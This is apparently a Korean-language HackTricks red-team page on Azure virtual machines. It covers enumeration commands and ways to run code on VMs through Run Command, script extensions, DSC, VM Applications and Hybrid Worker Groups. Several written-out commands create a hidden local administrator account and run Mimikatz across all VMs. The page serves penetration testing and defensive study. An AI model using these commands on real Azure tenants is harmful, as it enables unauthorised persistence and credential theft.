Az - Virtual Machines & Network

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법:

기본 정보

문서에서 참조: Azure 가상 머신은 Azure가 제공하는 여러 유형의 온디맨드, 확장 가능한 컴퓨팅 리소스 중 하나입니다. 일반적으로 다른 선택지보다 컴퓨팅 환경에 대해 더 많은 제어를 필요로 할 때 가상 머신을 선택합니다. 이 문서에서는 가상 머신을 생성하기 전에 고려해야 할 사항, 생성 방법 및 관리 방법에 대한 정보를 제공합니다.

Azure 네트워크 정보

Azure 네트워크에는 다양한 개체와 구성 방법이 포함되어 있습니다. 다른 Azure 네트워크 개체의 간단한 설명, 예제열거 명령을 다음에서 찾을 수 있습니다:

pageAz - Azure Network

Azure Bastion

Azure Bastion은 Azure 포털을 통해 SSL을 통한 안전한, 완전히 관리되는 RDP (원격 데스크톱 프로토콜) 및 SSH (보안 셸) 액세스 솔루션을 제공합니다. Azure 가상 네트워크 내에 통합되어 있으며, 개인 IP를 사용하여 VM에 대한 RDP 및 SSH 연결을 가능하게 하여 공용 IP 할당 및 NSG 규칙 구성이 필요하지 않도록 합니다. 이는 공용 IP 할당 및 VM 액세스를 위한 NSG 규칙 구성과 관련된 전통적인 방법에 비해 더 안전하고 편리한 대안입니다. 개발자 및 IT 직원은 웹 브라우저를 사용하여 Azure 포털에서 VM에 안전하게 액세스할 수 있으며, 개발 및 테스트 환경의 프로세스를 간소화합니다.

구독 내의 모든 Azure Bastion 호스트를 나열하려면 다음 명령을 사용할 수 있습니다:

az network bastion list --query "[].{name:name, resourceGroup:resourceGrou, location:location}" -o table

VM 열거

VM 열거는 Azure 가상 머신(VM)에 대한 정보를 수집하는 데 사용됩니다. 다음 명령어를 사용하여 VM 목록을 가져올 수 있습니다.

# Get readable VMs
Get-AzVM | fl
# Lis running VMs
Get-AzureRmVM -status | where {$_.PowerState -EQ "VM running"} | select ResourceGroupName,Name
Get-AzVM -Name <name> -ResourceGroupName <res_group_name> | fl *
Get-AzVM -Name <name> -ResourceGroupName <res_group_name> | select -ExpandProperty NetworkProfile

# Get iface and IP address
Get-AzNetworkInterface -Name <interface_name>
Get-AzPublicIpAddress -Name <iface_public_ip_id>

#Get installed extensions
Get-AzVMExtension -ResourceGroupName <res_group_name> -VMName <name>

Get-AzVM | select -ExpandProperty NetworkProfile # Get name of network connector of VM
Get-AzNetworkInterface -Name <name> # Get info of network connector (like IP)

가상 머신에서 명령 실행하기

VM에서 AAD 로그인

AzureAD를 통해 인증된 사용자에게 액세스 권한을 부여할 수 있습니다. 예를 들어 리눅스 VM에 액세스하려고 할 때 ssh username@azure-corp.com@1.1.1.1 (로그인 시 사용한 azurecorp 이메일을 사용하는 것이 중요)과 같은 오류가 발생할 수 있습니다:

(username@azure-corp.com@1.1.1.1) This preview capability is not for production use. When you sign in, verify the name of the app on the sign-in screen is "Azure Linux VM Sign-in" and the IP address of the target VM is correct.

To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code DT4PNSTGR to authenticate. Press ENTER when ready.

지침을 따라 https://microsoft.com/devicelogin로 이동하여 코드를 입력하고, 자격 증명으로 이메일과 비밀번호를 사용하면 SSH를 통해 연결할 수 있습니다 (해당 사용자가 충분한 권한을 가지고 있다면: Virtual Machine Administrator Login 또는 Virtual Machine User Login 역할).

Run Command

# The permission allowing this is Microsoft.Compute/virtualMachines/runCommand/action
Invoke-AzVMRunCommand -ScriptPath .\adduser.ps1 -CommandId 'RunPowerShellScript' -VMName 'juastavm' -ResourceGroupName 'Research' –Verbose
## Another way
Invoke-AzureRmVMRunCommand -ScriptPath .\adduser.ps1 -CommandId 'RunPowerShellScript' -VMName 'juastavm' -ResourceGroupName 'Research' –Verbose

# Content of the script
$passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force
New-LocalUser -Name new_user -Password $passwd
Add-LocalGroupMember -Group Administrators -Member new_user
# Try to run in every machine
Import-module MicroBurst.psm1
Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt

사용자 지정 스크립트 확장 실행

Azure 가상 머신 (VM) 확장은 작은 응용 프로그램으로, Azure VM에서 배포 후 구성 및 자동화 작업을 제공합니다. 예를 들어, 가상 머신에 소프트웨어 설치, 백신 보호 또는 스크립트 실행 기능이 필요한 경우 VM 확장을 사용할 수 있습니다.

따라서, 쓰기 권한이 있는 경우 임의의 코드를 실행할 수 있습니다:

# Microsoft.Compute/virtualMachines/extensions/write
Set-AzVMExtension -ResourceGroupName "Research" -ExtensionName "ExecCmd" -VMName "infradminsrv" -Location "Germany West Central" -Publisher Microsoft.Compute -ExtensionType CustomScriptExtension -TypeHandlerVersion 1.8 -SettingString '{"commandToExecute":"powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add"}'

DesiredConfigurationState (DSC)

DesiredConfigurationState (DSC)은 Ansible과 유사한 PowerShell 도구로, 코드를 통해 호스트를 설정하는 데 사용됩니다. DSC는 Azure와 통합되어 특정 구성 파일을 업로드할 수 있습니다. 이러한 파일은 엄격한 구문 규칙을 준수해야 합니다. 특히, Azure의 DSC 확장은 DSC 표준에 맞지 않은 구문이라도 특정 형식 요구 사항을 충족하는 파일에서 명령을 실행할 수 있습니다(아래 그림 참조).

이러한 명령의 실행은 Az PowerShell의 Publish-AzVMDscConfiguration 함수에 의해 용이하게 이루어집니다. 요구 사항은 정의된 함수가 있는 .PS1 파일과 해당 파일이 .zip 파일로 압축되어야 한다는 것입니다. DSC에 대한 구문이 정확하지 않더라도 코드는 여전히 실행됩니다. 그러나 확장은 실행 상태를 "실패"로 표시하며, 실패 메시지로 인해 명령의 출력이 보이지 않게 됩니다.

VM Application Definitions

VM Application Definitions은 Azure VM에 버전화된 응용 프로그램을 반복적으로 배포할 수 있는 기능을 제공합니다. 이 리소스는 VM 간에 응용 프로그램을 배포하고 업데이트하는 것을 지원합니다. 이를 설정하기 위해 New-AzGalleryApplication 및 **New-AzGalleryApplicationVersion**와 같은 명령을 사용하는 여러 단계가 필요합니다.

이 방법을 통해 응용 프로그램이나 명령을 실행하는 것은 **"VMAppExtension"**을 통해 이루어집니다. 응용 프로그램이 VM에 적용되면 이 확장이 자동으로 설치되며, 지정된 URI에서 파일을 검색하여 응용 프로그램과 동일한 이름으로 확장자 없이 저장합니다. 파일을 올바르게 실행하기 위해 REST API 호출의 "ManageActions" 필드를 구성하여 파일을 적절한 확장자로 이름을 변경해야 합니다. 이 방법의 설정이 완료되면, 아래 그림과 같은 구조를 갖게 됩니다.

그러나 이 실행 방법은 비교적 느리며, 응용 프로그램이나 명령을 실행하는 데 약 3-4분이 소요됩니다. 이 프로세스와 관련된 파일은 특정 디렉토리(C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.4\Downloads\는 응용 프로그램 복사용이고, C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.4\Status\는 실행 상태용입니다).

두 기술은 각각의 요구 사항, 단계 및 고려 사항을 갖고 있으며, Azure 환경에서 명령을 실행하고 응용 프로그램을 배포하는 독특한 방법을 제공합니다.

Azure의 Hybrid Worker Groups (HWGs)

Hybrid Worker Groups (HWGs)는 Azure의 기능으로, Automation Account에서 구성된 Runbook을 지정된 HWG의 일부인 Azure 가상 머신(VM)에서 실행할 수 있게 합니다. 이 실행은 VM에 설치된 확장을 통해 Runbook 코드를 VM에 배포합니다. 이 프로세스의 중요한 측면은 실제 자격 증명이 실행에 영향을 주지 않는다는 것입니다. 코드는 특정 권한(특히 SYSTEM 또는 root)으로 실행됩니다(아래 그림 참조).

Windows 10 VM을 사용하는 경우 Runbook에 대해 PowerShell 버전을 지정해야 하는 필요성이 있습니다. PowerShell 버전을 7.1로 지정하면 스크립트 실행이 실패하게 되는데, 이는 이러한 VM에 PowerShell 7.1이 기본적으로 설치되지 않기 때문입니다.

Azure의 이 기능은 하이브리드 환경에서 작업을 자동화하고 관리하기 위한 강력한 방법을 제공하며, Azure VM에서 작업을 중앙 집중식으로 관리하고 실행할 수 있습니다.

참고 자료

htARTE (HackTricks AWS Red Team Expert)를 통해 제로에서 영웅까지 AWS 해킹을 배워보세요!

HackTricks를 지원하는 다른 방법:

最終更新